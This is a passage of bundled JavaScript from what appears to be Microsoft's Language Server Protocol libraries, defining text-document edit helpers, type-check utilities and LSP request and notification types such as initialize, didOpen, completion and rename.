TextDocument.create = create;
/**
* Checks whether the given literal conforms to the [ITextDocument](#ITextDocument) interface.
*/
function is(value) {
var candidate = value;
return Is.defined(candidate) && Is.string(candidate.uri) && (Is.undefined(candidate.languageId) || Is.string(candidate.languageId)) && Is.number(candidate.lineCount)
&& Is.func(candidate.getText) && Is.func(candidate.positionAt) && Is.func(candidate.offsetAt) ? true : false;
}
TextDocument.is = is;
function applyEdits(document, edits) {
var text = document.getText();
var sortedEdits = mergeSort(edits, function (a, b) {
var diff = a.range.start.line - b.range.start.line;
if (diff === 0) {
return a.range.start.character - b.range.start.character;
}
return diff;
});
var lastModifiedOffset = text.length;
for (var i = sortedEdits.length - 1; i >= 0; i--) {
var e = sortedEdits[i];
var startOffset = document.offsetAt(e.range.start);
var endOffset = document.offsetAt(e.range.end);
if (endOffset <= lastModifiedOffset) {
text = text.substring(0, startOffset) + e.newText + text.substring(endOffset, text.length);
}
else {
throw new Error('Overlapping edit');
}
lastModifiedOffset = startOffset;
}
return text;
}
TextDocument.applyEdits = applyEdits;
function mergeSort(data, compare) {
if (data.length <= 1) {
// sorted
return data;
}
var p = (data.length / 2) | 0;
var left = data.slice(0, p);
var right = data.slice(p);
mergeSort(left, compare);
mergeSort(right, compare);
var leftIdx = 0;
var rightIdx = 0;
var i = 0;
while (leftIdx < left.length && rightIdx < right.length) {
var ret = compare(left[leftIdx], right[rightIdx]);
if (ret <= 0) {
// smaller_equal -> take left to preserve order
data[i++] = left[leftIdx++];
}
else {
// greater -> take right
data[i++] = right[rightIdx++];
}
}
while (leftIdx < left.length) {
data[i++] = left[leftIdx++];
}
while (rightIdx < right.length) {
data[i++] = right[rightIdx++];
}
return data;
}
})(TextDocument || (TextDocument = {}));
var FullTextDocument = /** @class */ (function () {
function FullTextDocument(uri, languageId, version, content) {
this._uri = uri;
this._languageId = languageId;
this._version = version;
this._content = content;
this._lineOffsets = undefined;
}
Object.defineProperty(FullTextDocument.prototype, "uri", {
get: function () {
return this._uri;
},
enumerable: true,
configurable: true
});
Object.defineProperty(FullTextDocument.prototype, "languageId", {
get: function () {
return this._languageId;
},
enumerable: true,
configurable: true
});
Object.defineProperty(FullTextDocument.prototype, "version", {
get: function () {
return this._version;
},
enumerable: true,
configurable: true
});
FullTextDocument.prototype.getText = function (range) {
if (range) {
var start = this.offsetAt(range.start);
var end = this.offsetAt(range.end);
return this._content.substring(start, end);
}
return this._content;
};
FullTextDocument.prototype.update = function (event, version) {
this._content = event.text;
this._version = version;
this._lineOffsets = undefined;
};
FullTextDocument.prototype.getLineOffsets = function () {
if (this._lineOffsets === undefined) {
var lineOffsets = [];
var text = this._content;
var isLineStart = true;
for (var i = 0; i < text.length; i++) {
if (isLineStart) {
lineOffsets.push(i);
isLineStart = false;
}
var ch = text.charAt(i);
isLineStart = (ch === '\r' || ch === '\n');
if (ch === '\r' && i + 1 < text.length && text.charAt(i + 1) === '\n') {
i++;
}
}
if (isLineStart && text.length > 0) {
lineOffsets.push(text.length);
}
this._lineOffsets = lineOffsets;
}
return this._lineOffsets;
};
FullTextDocument.prototype.positionAt = function (offset) {
offset = Math.max(Math.min(offset, this._content.length), 0);
var lineOffsets = this.getLineOffsets();
var low = 0, high = lineOffsets.length;
if (high === 0) {
return Position.create(0, offset);
}
while (low < high) {
var mid = Math.floor((low + high) / 2);
if (lineOffsets[mid] > offset) {
high = mid;
}
else {
low = mid + 1;
}
}
// low is the least x for which the line offset is larger than the current offset
// or array.length if no line offset is larger than the current offset
var line = low - 1;
return Position.create(line, offset - lineOffsets[line]);
};
FullTextDocument.prototype.offsetAt = function (position) {
var lineOffsets = this.getLineOffsets();
if (position.line >= lineOffsets.length) {
return this._content.length;
}
else if (position.line < 0) {
return 0;
}
var lineOffset = lineOffsets[position.line];
var nextLineOffset = (position.line + 1 < lineOffsets.length) ? lineOffsets[position.line + 1] : this._content.length;
return Math.max(Math.min(lineOffset + position.character, nextLineOffset), lineOffset);
};
Object.defineProperty(FullTextDocument.prototype, "lineCount", {
get: function () {
return this.getLineOffsets().length;
},
enumerable: true,
configurable: true
});
return FullTextDocument;
}());
var Is;
(function (Is) {
var toString = Object.prototype.toString;
function defined(value) {
return typeof value !== 'undefined';
}
Is.defined = defined;
function undefined(value) {
return typeof value === 'undefined';
}
Is.undefined = undefined;
function boolean(value) {
return value === true || value === false;
}
Is.boolean = boolean;
function string(value) {
return toString.call(value) === '[object String]';
}
Is.string = string;
function number(value) {
return toString.call(value) === '[object Number]';
}
Is.number = number;
function func(value) {
return toString.call(value) === '[object Function]';
}
Is.func = func;
function objectLiteral(value) {
// Strictly speaking class instances pass this check as well. Since the LSP
// doesn't use classes we ignore this for now. If we do we need to add something
// like this: `Object.getPrototypeOf(Object.getPrototypeOf(x)) === null`
return value !== null && typeof value === 'object';
}
Is.objectLiteral = objectLiteral;
function typedArray(value, check) {
return Array.isArray(value) && value.every(check);
}
Is.typedArray = typedArray;
})(Is || (Is = {}));
/***/ }),
/* 19 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
Object.defineProperty(exports, "__esModule", ({ value: true }));
const Is = __webpack_require__(20);
const vscode_jsonrpc_1 = __webpack_require__(4);
const messages_1 = __webpack_require__(21);
const protocol_implementation_1 = __webpack_require__(22);
exports.ImplementationRequest = protocol_implementation_1.ImplementationRequest;
const protocol_typeDefinition_1 = __webpack_require__(23);
exports.TypeDefinitionRequest = protocol_typeDefinition_1.TypeDefinitionRequest;
const protocol_workspaceFolders_1 = __webpack_require__(24);
exports.WorkspaceFoldersRequest = protocol_workspaceFolders_1.WorkspaceFoldersRequest;
exports.DidChangeWorkspaceFoldersNotification = protocol_workspaceFolders_1.DidChangeWorkspaceFoldersNotification;
const protocol_configuration_1 = __webpack_require__(25);
exports.ConfigurationRequest = protocol_configuration_1.ConfigurationRequest;
const protocol_colorProvider_1 = __webpack_require__(26);
exports.DocumentColorRequest = protocol_colorProvider_1.DocumentColorRequest;
exports.ColorPresentationRequest = protocol_colorProvider_1.ColorPresentationRequest;
const protocol_foldingRange_1 = __webpack_require__(27);
exports.FoldingRangeRequest = protocol_foldingRange_1.FoldingRangeRequest;
const protocol_declaration_1 = __webpack_require__(28);
exports.DeclarationRequest = protocol_declaration_1.DeclarationRequest;
const protocol_selectionRange_1 = __webpack_require__(29);
exports.SelectionRangeRequest = protocol_selectionRange_1.SelectionRangeRequest;
const protocol_progress_1 = __webpack_require__(30);
exports.WorkDoneProgress = protocol_progress_1.WorkDoneProgress;
exports.WorkDoneProgressCreateRequest = protocol_progress_1.WorkDoneProgressCreateRequest;
exports.WorkDoneProgressCancelNotification = protocol_progress_1.WorkDoneProgressCancelNotification;
// @ts-ignore: to avoid inlining LocatioLink as dynamic import
let __noDynamicImport;
/**
* The DocumentFilter namespace provides helper functions to work with
* [DocumentFilter](#DocumentFilter) literals.
*/
var DocumentFilter;
(function (DocumentFilter) {
function is(value) {
const candidate = value;
return Is.string(candidate.language) || Is.string(candidate.scheme) || Is.string(candidate.pattern);
}
DocumentFilter.is = is;
})(DocumentFilter = exports.DocumentFilter || (exports.DocumentFilter = {}));
/**
* The DocumentSelector namespace provides helper functions to work with
* [DocumentSelector](#DocumentSelector)s.
*/
var DocumentSelector;
(function (DocumentSelector) {
function is(value) {
if (!Array.isArray(value)) {
return false;
}
for (let elem of value) {
if (!Is.string(elem) && !DocumentFilter.is(elem)) {
return false;
}
}
return true;
}
DocumentSelector.is = is;
})(DocumentSelector = exports.DocumentSelector || (exports.DocumentSelector = {}));
/**
* The `client/registerCapability` request is sent from the server to the client to register a new capability
* handler on the client side.
*/
var RegistrationRequest;
(function (RegistrationRequest) {
RegistrationRequest.type = new messages_1.ProtocolRequestType('client/registerCapability');
})(RegistrationRequest = exports.RegistrationRequest || (exports.RegistrationRequest = {}));
/**
* The `client/unregisterCapability` request is sent from the server to the client to unregister a previously registered capability
* handler on the client side.
*/
var UnregistrationRequest;
(function (UnregistrationRequest) {
UnregistrationRequest.type = new messages_1.ProtocolRequestType('client/unregisterCapability');
})(UnregistrationRequest = exports.UnregistrationRequest || (exports.UnregistrationRequest = {}));
var ResourceOperationKind;
(function (ResourceOperationKind) {
/**
* Supports creating new files and folders.
*/
ResourceOperationKind.Create = 'create';
/**
* Supports renaming existing files and folders.
*/
ResourceOperationKind.Rename = 'rename';
/**
* Supports deleting existing files and folders.
*/
ResourceOperationKind.Delete = 'delete';
})(ResourceOperationKind = exports.ResourceOperationKind || (exports.ResourceOperationKind = {}));
var FailureHandlingKind;
(function (FailureHandlingKind) {
/**
* Applying the workspace change is simply aborted if one of the changes provided
* fails. All operations executed before the failing operation stay executed.
*/
FailureHandlingKind.Abort = 'abort';
/**
* All operations are executed transactional. That means they either all
* succeed or no changes at all are applied to the workspace.
*/
FailureHandlingKind.Transactional = 'transactional';
/**
* If the workspace edit contains only textual file changes they are executed transactional.
* If resource changes (create, rename or delete file) are part of the change the failure
* handling startegy is abort.
*/
FailureHandlingKind.TextOnlyTransactional = 'textOnlyTransactional';
/**
* The client tries to undo the operations already executed. But there is no
* guarantee that this is succeeding.
*/
FailureHandlingKind.Undo = 'undo';
})(FailureHandlingKind = exports.FailureHandlingKind || (exports.FailureHandlingKind = {}));
/**
* The StaticRegistrationOptions namespace provides helper functions to work with
* [StaticRegistrationOptions](#StaticRegistrationOptions) literals.
*/
var StaticRegistrationOptions;
(function (StaticRegistrationOptions) {
function hasId(value) {
const candidate = value;
return candidate && Is.string(candidate.id) && candidate.id.length > 0;
}
StaticRegistrationOptions.hasId = hasId;
})(StaticRegistrationOptions = exports.StaticRegistrationOptions || (exports.StaticRegistrationOptions = {}));
/**
* The TextDocumentRegistrationOptions namespace provides helper functions to work with
* [TextDocumentRegistrationOptions](#TextDocumentRegistrationOptions) literals.
*/
var TextDocumentRegistrationOptions;
(function (TextDocumentRegistrationOptions) {
function is(value) {
const candidate = value;
return candidate && (candidate.documentSelector === null || DocumentSelector.is(candidate.documentSelector));
}
TextDocumentRegistrationOptions.is = is;
})(TextDocumentRegistrationOptions = exports.TextDocumentRegistrationOptions || (exports.TextDocumentRegistrationOptions = {}));
/**
* The WorkDoneProgressOptions namespace provides helper functions to work with
* [WorkDoneProgressOptions](#WorkDoneProgressOptions) literals.
*/
var WorkDoneProgressOptions;
(function (WorkDoneProgressOptions) {
function is(value) {
const candidate = value;
return Is.objectLiteral(candidate) && (candidate.workDoneProgress === undefined || Is.boolean(candidate.workDoneProgress));
}
WorkDoneProgressOptions.is = is;
function hasWorkDoneProgress(value) {
const candidate = value;
return candidate && Is.boolean(candidate.workDoneProgress);
}
WorkDoneProgressOptions.hasWorkDoneProgress = hasWorkDoneProgress;
})(WorkDoneProgressOptions = exports.WorkDoneProgressOptions || (exports.WorkDoneProgressOptions = {}));
/**
* The initialize request is sent from the client to the server.
* It is sent once as the request after starting up the server.
* The requests parameter is of type [InitializeParams](#InitializeParams)
* the response if of type [InitializeResult](#InitializeResult) of a Thenable that
* resolves to such.
*/
var InitializeRequest;
(function (InitializeRequest) {
InitializeRequest.type = new messages_1.ProtocolRequestType('initialize');
})(InitializeRequest = exports.InitializeRequest || (exports.InitializeRequest = {}));
/**
* Known error codes for an `InitializeError`;
*/
var InitializeError;
(function (InitializeError) {
/**
* If the protocol version provided by the client can't be handled by the server.
* @deprecated This initialize error got replaced by client capabilities. There is
* no version handshake in version 3.0x
*/
InitializeError.unknownProtocolVersion = 1;
})(InitializeError = exports.InitializeError || (exports.InitializeError = {}));
/**
* The intialized notification is sent from the client to the
* server after the client is fully initialized and the server
* is allowed to send requests from the server to the client.
*/
var InitializedNotification;
(function (InitializedNotification) {
InitializedNotification.type = new messages_1.ProtocolNotificationType('initialized');
})(InitializedNotification = exports.InitializedNotification || (exports.InitializedNotification = {}));
//---- Shutdown Method ----
/**
* A shutdown request is sent from the client to the server.
* It is sent once when the client decides to shutdown the
* server. The only notification that is sent after a shutdown request
* is the exit event.
*/
var ShutdownRequest;
(function (ShutdownRequest) {
ShutdownRequest.type = new messages_1.ProtocolRequestType0('shutdown');
})(ShutdownRequest = exports.ShutdownRequest || (exports.ShutdownRequest = {}));
//---- Exit Notification ----
/**
* The exit event is sent from the client to the server to
* ask the server to exit its process.
*/
var ExitNotification;
(function (ExitNotification) {
ExitNotification.type = new messages_1.ProtocolNotificationType0('exit');
})(ExitNotification = exports.ExitNotification || (exports.ExitNotification = {}));
/**
* The configuration change notification is sent from the client to the server
* when the client's configuration has changed. The notification contains
* the changed configuration as defined by the language client.
*/
var DidChangeConfigurationNotification;
(function (DidChangeConfigurationNotification) {
DidChangeConfigurationNotification.type = new messages_1.ProtocolNotificationType('workspace/didChangeConfiguration');
})(DidChangeConfigurationNotification = exports.DidChangeConfigurationNotification || (exports.DidChangeConfigurationNotification = {}));
//---- Message show and log notifications ----
/**
* The message type
*/
var MessageType;
(function (MessageType) {
/**
* An error message.
*/
MessageType.Error = 1;
/**
* A warning message.
*/
MessageType.Warning = 2;
/**
* An information message.
*/
MessageType.Info = 3;
/**
* A log message.
*/
MessageType.Log = 4;
})(MessageType = exports.MessageType || (exports.MessageType = {}));
/**
* The show message notification is sent from a server to a client to ask
* the client to display a particular message in the user interface.
*/
var ShowMessageNotification;
(function (ShowMessageNotification) {
ShowMessageNotification.type = new messages_1.ProtocolNotificationType('window/showMessage');
})(ShowMessageNotification = exports.ShowMessageNotification || (exports.ShowMessageNotification = {}));
/**
* The show message request is sent from the server to the client to show a message
* and a set of options actions to the user.
*/
var ShowMessageRequest;
(function (ShowMessageRequest) {
ShowMessageRequest.type = new messages_1.ProtocolRequestType('window/showMessageRequest');
})(ShowMessageRequest = exports.ShowMessageRequest || (exports.ShowMessageRequest = {}));
/**
* The log message notification is sent from the server to the client to ask
* the client to log a particular message.
*/
var LogMessageNotification;
(function (LogMessageNotification) {
LogMessageNotification.type = new messages_1.ProtocolNotificationType('window/logMessage');
})(LogMessageNotification = exports.LogMessageNotification || (exports.LogMessageNotification = {}));
//---- Telemetry notification
/**
* The telemetry event notification is sent from the server to the client to ask
* the client to log telemetry data.
*/
var TelemetryEventNotification;
(function (TelemetryEventNotification) {
TelemetryEventNotification.type = new messages_1.ProtocolNotificationType('telemetry/event');
})(TelemetryEventNotification = exports.TelemetryEventNotification || (exports.TelemetryEventNotification = {}));
/**
* Defines how the host (editor) should sync
* document changes to the language server.
*/
var TextDocumentSyncKind;
(function (TextDocumentSyncKind) {
/**
* Documents should not be synced at all.
*/
TextDocumentSyncKind.None = 0;
/**
* Documents are synced by always sending the full content
* of the document.
*/
TextDocumentSyncKind.Full = 1;
/**
* Documents are synced by sending the full content on open.
* After that only incremental updates to the document are
* send.
*/
TextDocumentSyncKind.Incremental = 2;
})(TextDocumentSyncKind = exports.TextDocumentSyncKind || (exports.TextDocumentSyncKind = {}));
/**
* The document open notification is sent from the client to the server to signal
* newly opened text documents. The document's truth is now managed by the client
* and the server must not try to read the document's truth using the document's
* uri. Open in this sense means it is managed by the client. It doesn't necessarily
* mean that its content is presented in an editor. An open notification must not
* be sent more than once without a corresponding close notification send before.
* This means open and close notification must be balanced and the max open count
* is one.
*/
var DidOpenTextDocumentNotification;
(function (DidOpenTextDocumentNotification) {
DidOpenTextDocumentNotification.method = 'textDocument/didOpen';
DidOpenTextDocumentNotification.type = new messages_1.ProtocolNotificationType(DidOpenTextDocumentNotification.method);
})(DidOpenTextDocumentNotification = exports.DidOpenTextDocumentNotification || (exports.DidOpenTextDocumentNotification = {}));
/**
* The document change notification is sent from the client to the server to signal
* changes to a text document.
*/
var DidChangeTextDocumentNotification;
(function (DidChangeTextDocumentNotification) {
DidChangeTextDocumentNotification.method = 'textDocument/didChange';
DidChangeTextDocumentNotification.type = new messages_1.ProtocolNotificationType(DidChangeTextDocumentNotification.method);
})(DidChangeTextDocumentNotification = exports.DidChangeTextDocumentNotification || (exports.DidChangeTextDocumentNotification = {}));
/**
* The document close notification is sent from the client to the server when
* the document got closed in the client. The document's truth now exists where
* the document's uri points to (e.g. if the document's uri is a file uri the
* truth now exists on disk). As with the open notification the close notification
* is about managing the document's content. Receiving a close notification
* doesn't mean that the document was open in an editor before. A close
* notification requires a previous open notification to be sent.
*/
var DidCloseTextDocumentNotification;
(function (DidCloseTextDocumentNotification) {
DidCloseTextDocumentNotification.method = 'textDocument/didClose';
DidCloseTextDocumentNotification.type = new messages_1.ProtocolNotificationType(DidCloseTextDocumentNotification.method);
})(DidCloseTextDocumentNotification = exports.DidCloseTextDocumentNotification || (exports.DidCloseTextDocumentNotification = {}));
/**
* The document save notification is sent from the client to the server when
* the document got saved in the client.
*/
var DidSaveTextDocumentNotification;
(function (DidSaveTextDocumentNotification) {
DidSaveTextDocumentNotification.method = 'textDocument/didSave';
DidSaveTextDocumentNotification.type = new messages_1.ProtocolNotificationType(DidSaveTextDocumentNotification.method);
})(DidSaveTextDocumentNotification = exports.DidSaveTextDocumentNotification || (exports.DidSaveTextDocumentNotification = {}));
/**
* Represents reasons why a text document is saved.
*/
var TextDocumentSaveReason;
(function (TextDocumentSaveReason) {
/**
* Manually triggered, e.g. by the user pressing save, by starting debugging,
* or by an API call.
*/
TextDocumentSaveReason.Manual = 1;
/**
* Automatic after a delay.
*/
TextDocumentSaveReason.AfterDelay = 2;
/**
* When the editor lost focus.
*/
TextDocumentSaveReason.FocusOut = 3;
})(TextDocumentSaveReason = exports.TextDocumentSaveReason || (exports.TextDocumentSaveReason = {}));
/**
* A document will save notification is sent from the client to the server before
* the document is actually saved.
*/
var WillSaveTextDocumentNotification;
(function (WillSaveTextDocumentNotification) {
WillSaveTextDocumentNotification.method = 'textDocument/willSave';
WillSaveTextDocumentNotification.type = new messages_1.ProtocolNotificationType(WillSaveTextDocumentNotification.method);
})(WillSaveTextDocumentNotification = exports.WillSaveTextDocumentNotification || (exports.WillSaveTextDocumentNotification = {}));
/**
* A document will save request is sent from the client to the server before
* the document is actually saved. The request can return an array of TextEdits
* which will be applied to the text document before it is saved. Please note that
* clients might drop results if computing the text edits took too long or if a
* server constantly fails on this request. This is done to keep the save fast and
* reliable.
*/
var WillSaveTextDocumentWaitUntilRequest;
(function (WillSaveTextDocumentWaitUntilRequest) {
WillSaveTextDocumentWaitUntilRequest.method = 'textDocument/willSaveWaitUntil';
WillSaveTextDocumentWaitUntilRequest.type = new messages_1.ProtocolRequestType(WillSaveTextDocumentWaitUntilRequest.method);
})(WillSaveTextDocumentWaitUntilRequest = exports.WillSaveTextDocumentWaitUntilRequest || (exports.WillSaveTextDocumentWaitUntilRequest = {}));
/**
* The watched files notification is sent from the client to the server when
* the client detects changes to file watched by the language client.
*/
var DidChangeWatchedFilesNotification;
(function (DidChangeWatchedFilesNotification) {
DidChangeWatchedFilesNotification.type = new messages_1.ProtocolNotificationType('workspace/didChangeWatchedFiles');
})(DidChangeWatchedFilesNotification = exports.DidChangeWatchedFilesNotification || (exports.DidChangeWatchedFilesNotification = {}));
/**
* The file event type
*/
var FileChangeType;
(function (FileChangeType) {
/**
* The file got created.
*/
FileChangeType.Created = 1;
/**
* The file got changed.
*/
FileChangeType.Changed = 2;
/**
* The file got deleted.
*/
FileChangeType.Deleted = 3;
})(FileChangeType = exports.FileChangeType || (exports.FileChangeType = {}));
var WatchKind;
(function (WatchKind) {
/**
* Interested in create events.
*/
WatchKind.Create = 1;
/**
* Interested in change events
*/
WatchKind.Change = 2;
/**
* Interested in delete events
*/
WatchKind.Delete = 4;
})(WatchKind = exports.WatchKind || (exports.WatchKind = {}));
/**
* Diagnostics notification are sent from the server to the client to signal
* results of validation runs.
*/
var PublishDiagnosticsNotification;
(function (PublishDiagnosticsNotification) {
PublishDiagnosticsNotification.type = new messages_1.ProtocolNotificationType('textDocument/publishDiagnostics');
})(PublishDiagnosticsNotification = exports.PublishDiagnosticsNotification || (exports.PublishDiagnosticsNotification = {}));
/**
* How a completion was triggered
*/
var CompletionTriggerKind;
(function (CompletionTriggerKind) {
/**
* Completion was triggered by typing an identifier (24x7 code
* complete), manual invocation (e.g Ctrl+Space) or via API.
*/
CompletionTriggerKind.Invoked = 1;
/**
* Completion was triggered by a trigger character specified by
* the `triggerCharacters` properties of the `CompletionRegistrationOptions`.
*/
CompletionTriggerKind.TriggerCharacter = 2;
/**
* Completion was re-triggered as current completion list is incomplete
*/
CompletionTriggerKind.TriggerForIncompleteCompletions = 3;
})(CompletionTriggerKind = exports.CompletionTriggerKind || (exports.CompletionTriggerKind = {}));
/**
* Request to request completion at a given text document position. The request's
* parameter is of type [TextDocumentPosition](#TextDocumentPosition) the response
* is of type [CompletionItem[]](#CompletionItem) or [CompletionList](#CompletionList)
* or a Thenable that resolves to such.
*
* The request can delay the computation of the [`detail`](#CompletionItem.detail)
* and [`documentation`](#CompletionItem.documentation) properties to the `completionItem/resolve`
* request. However, properties that are needed for the initial sorting and filtering, like `sortText`,
* `filterText`, `insertText`, and `textEdit`, must not be changed during resolve.
*/
var CompletionRequest;
(function (CompletionRequest) {
CompletionRequest.method = 'textDocument/completion';
CompletionRequest.type = new messages_1.ProtocolRequestType(CompletionRequest.method);
/** @deprecated Use CompletionRequest.type */
CompletionRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(CompletionRequest = exports.CompletionRequest || (exports.CompletionRequest = {}));
/**
* Request to resolve additional information for a given completion item.The request's
* parameter is of type [CompletionItem](#CompletionItem) the response
* is of type [CompletionItem](#CompletionItem) or a Thenable that resolves to such.
*/
var CompletionResolveRequest;
(function (CompletionResolveRequest) {
CompletionResolveRequest.method = 'completionItem/resolve';
CompletionResolveRequest.type = new messages_1.ProtocolRequestType(CompletionResolveRequest.method);
})(CompletionResolveRequest = exports.CompletionResolveRequest || (exports.CompletionResolveRequest = {}));
/**
* Request to request hover information at a given text document position. The request's
* parameter is of type [TextDocumentPosition](#TextDocumentPosition) the response is of
* type [Hover](#Hover) or a Thenable that resolves to such.
*/
var HoverRequest;
(function (HoverRequest) {
HoverRequest.method = 'textDocument/hover';
HoverRequest.type = new messages_1.ProtocolRequestType(HoverRequest.method);
})(HoverRequest = exports.HoverRequest || (exports.HoverRequest = {}));
/**
* How a signature help was triggered.
*
* @since 3.15.0
*/
var SignatureHelpTriggerKind;
(function (SignatureHelpTriggerKind) {
/**
* Signature help was invoked manually by the user or by a command.
*/
SignatureHelpTriggerKind.Invoked = 1;
/**
* Signature help was triggered by a trigger character.
*/
SignatureHelpTriggerKind.TriggerCharacter = 2;
/**
* Signature help was triggered by the cursor moving or by the document content changing.
*/
SignatureHelpTriggerKind.ContentChange = 3;
})(SignatureHelpTriggerKind = exports.SignatureHelpTriggerKind || (exports.SignatureHelpTriggerKind = {}));
var SignatureHelpRequest;
(function (SignatureHelpRequest) {
SignatureHelpRequest.method = 'textDocument/signatureHelp';
SignatureHelpRequest.type = new messages_1.ProtocolRequestType(SignatureHelpRequest.method);
})(SignatureHelpRequest = exports.SignatureHelpRequest || (exports.SignatureHelpRequest = {}));
/**
* A request to resolve the definition location of a symbol at a given text
* document position. The request's parameter is of type [TextDocumentPosition]
* (#TextDocumentPosition) the response is of either type [Definition](#Definition)
* or a typed array of [DefinitionLink](#DefinitionLink) or a Thenable that resolves
* to such.
*/
var DefinitionRequest;
(function (DefinitionRequest) {
DefinitionRequest.method = 'textDocument/definition';
DefinitionRequest.type = new messages_1.ProtocolRequestType(DefinitionRequest.method);
/** @deprecated Use DefinitionRequest.type */
DefinitionRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DefinitionRequest = exports.DefinitionRequest || (exports.DefinitionRequest = {}));
/**
* A request to resolve project-wide references for the symbol denoted
* by the given text document position. The request's parameter is of
* type [ReferenceParams](#ReferenceParams) the response is of type
* [Location[]](#Location) or a Thenable that resolves to such.
*/
var ReferencesRequest;
(function (ReferencesRequest) {
ReferencesRequest.method = 'textDocument/references';
ReferencesRequest.type = new messages_1.ProtocolRequestType(ReferencesRequest.method);
/** @deprecated Use ReferencesRequest.type */
ReferencesRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(ReferencesRequest = exports.ReferencesRequest || (exports.ReferencesRequest = {}));
/**
* Request to resolve a [DocumentHighlight](#DocumentHighlight) for a given
* text document position. The request's parameter is of type [TextDocumentPosition]
* (#TextDocumentPosition) the request response is of type [DocumentHighlight[]]
* (#DocumentHighlight) or a Thenable that resolves to such.
*/
var DocumentHighlightRequest;
(function (DocumentHighlightRequest) {
DocumentHighlightRequest.method = 'textDocument/documentHighlight';
DocumentHighlightRequest.type = new messages_1.ProtocolRequestType(DocumentHighlightRequest.method);
/** @deprecated Use DocumentHighlightRequest.type */
DocumentHighlightRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DocumentHighlightRequest = exports.DocumentHighlightRequest || (exports.DocumentHighlightRequest = {}));
/**
* A request to list all symbols found in a given text document. The request's
* parameter is of type [TextDocumentIdentifier](#TextDocumentIdentifier) the
* response is of type [SymbolInformation[]](#SymbolInformation) or a Thenable
* that resolves to such.
*/
var DocumentSymbolRequest;
(function (DocumentSymbolRequest) {
DocumentSymbolRequest.method = 'textDocument/documentSymbol';
DocumentSymbolRequest.type = new messages_1.ProtocolRequestType(DocumentSymbolRequest.method);
/** @deprecated Use DocumentSymbolRequest.type */
DocumentSymbolRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DocumentSymbolRequest = exports.DocumentSymbolRequest || (exports.DocumentSymbolRequest = {}));
/**
* A request to provide commands for the given text document and range.
*/
var CodeActionRequest;
(function (CodeActionRequest) {
CodeActionRequest.method = 'textDocument/codeAction';
CodeActionRequest.type = new messages_1.ProtocolRequestType(CodeActionRequest.method);
/** @deprecated Use CodeActionRequest.type */
CodeActionRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(CodeActionRequest = exports.CodeActionRequest || (exports.CodeActionRequest = {}));
/**
* A request to list project-wide symbols matching the query string given
* by the [WorkspaceSymbolParams](#WorkspaceSymbolParams). The response is
* of type [SymbolInformation[]](#SymbolInformation) or a Thenable that
* resolves to such.
*/
var WorkspaceSymbolRequest;
(function (WorkspaceSymbolRequest) {
WorkspaceSymbolRequest.method = 'workspace/symbol';
WorkspaceSymbolRequest.type = new messages_1.ProtocolRequestType(WorkspaceSymbolRequest.method);
/** @deprecated Use WorkspaceSymbolRequest.type */
WorkspaceSymbolRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(WorkspaceSymbolRequest = exports.WorkspaceSymbolRequest || (exports.WorkspaceSymbolRequest = {}));
/**
* A request to provide code lens for the given text document.
*/
var CodeLensRequest;
(function (CodeLensRequest) {
CodeLensRequest.type = new messages_1.ProtocolRequestType('textDocument/codeLens');
/** @deprecated Use CodeLensRequest.type */
CodeLensRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(CodeLensRequest = exports.CodeLensRequest || (exports.CodeLensRequest = {}));
/**
* A request to resolve a command for a given code lens.
*/
var CodeLensResolveRequest;
(function (CodeLensResolveRequest) {
CodeLensResolveRequest.type = new messages_1.ProtocolRequestType('codeLens/resolve');
})(CodeLensResolveRequest = exports.CodeLensResolveRequest || (exports.CodeLensResolveRequest = {}));
/**
* A request to provide document links
*/
var DocumentLinkRequest;
(function (DocumentLinkRequest) {
DocumentLinkRequest.method = 'textDocument/documentLink';
DocumentLinkRequest.type = new messages_1.ProtocolRequestType(DocumentLinkRequest.method);
/** @deprecated Use DocumentLinkRequest.type */
DocumentLinkRequest.resultType = new vscode_jsonrpc_1.ProgressType();
})(DocumentLinkRequest = exports.DocumentLinkRequest || (exports.DocumentLinkRequest = {}));
/**
* Request to resolve additional information for a given document link. The request's
* parameter is of type [DocumentLink](#DocumentLink) the response
* is of type [DocumentLink](#DocumentLink) or a Thenable that resolves to such.
*/
var DocumentLinkResolveRequest;
(function (DocumentLinkResolveRequest) {
DocumentLinkResolveRequest.type = new messages_1.ProtocolRequestType('documentLink/resolve');
})(DocumentLinkResolveRequest = exports.DocumentLinkResolveRequest || (exports.DocumentLinkResolveRequest = {}));
/**
* A request to to format a whole document.
*/
var DocumentFormattingRequest;
(function (DocumentFormattingRequest) {
DocumentFormattingRequest.method = 'textDocument/formatting';
DocumentFormattingRequest.type = new messages_1.ProtocolRequestType(DocumentFormattingRequest.method);
})(DocumentFormattingRequest = exports.DocumentFormattingRequest || (exports.DocumentFormattingRequest = {}));
/**
* A request to to format a range in a document.
*/
var DocumentRangeFormattingRequest;
(function (DocumentRangeFormattingRequest) {
DocumentRangeFormattingRequest.method = 'textDocument/rangeFormatting';
DocumentRangeFormattingRequest.type = new messages_1.ProtocolRequestType(DocumentRangeFormattingRequest.method);
})(DocumentRangeFormattingRequest = exports.DocumentRangeFormattingRequest || (exports.DocumentRangeFormattingRequest = {}));
/**
* A request to format a document on type.
*/
var DocumentOnTypeFormattingRequest;
(function (DocumentOnTypeFormattingRequest) {
DocumentOnTypeFormattingRequest.method = 'textDocument/onTypeFormatting';
DocumentOnTypeFormattingRequest.type = new messages_1.ProtocolRequestType(DocumentOnTypeFormattingRequest.method);
})(DocumentOnTypeFormattingRequest = exports.DocumentOnTypeFormattingRequest || (exports.DocumentOnTypeFormattingRequest = {}));
/**
* A request to rename a symbol.
*/
var RenameRequest;
(function (RenameRequest) {
RenameRequest.method = 'textDocument/rename';
RenameRequest.type = new messages_1.ProtocolRequestType(RenameRequest.method);
})(RenameRequest = exports.RenameRequest || (exports.RenameRequest = {}));
/**
* A request to test and perform the setup necessary for a rename.
*/
var PrepareRenameRequest;
(function (PrepareRenameRequest) {
PrepareRenameRequest.method = 'textDocument/prepareRename';
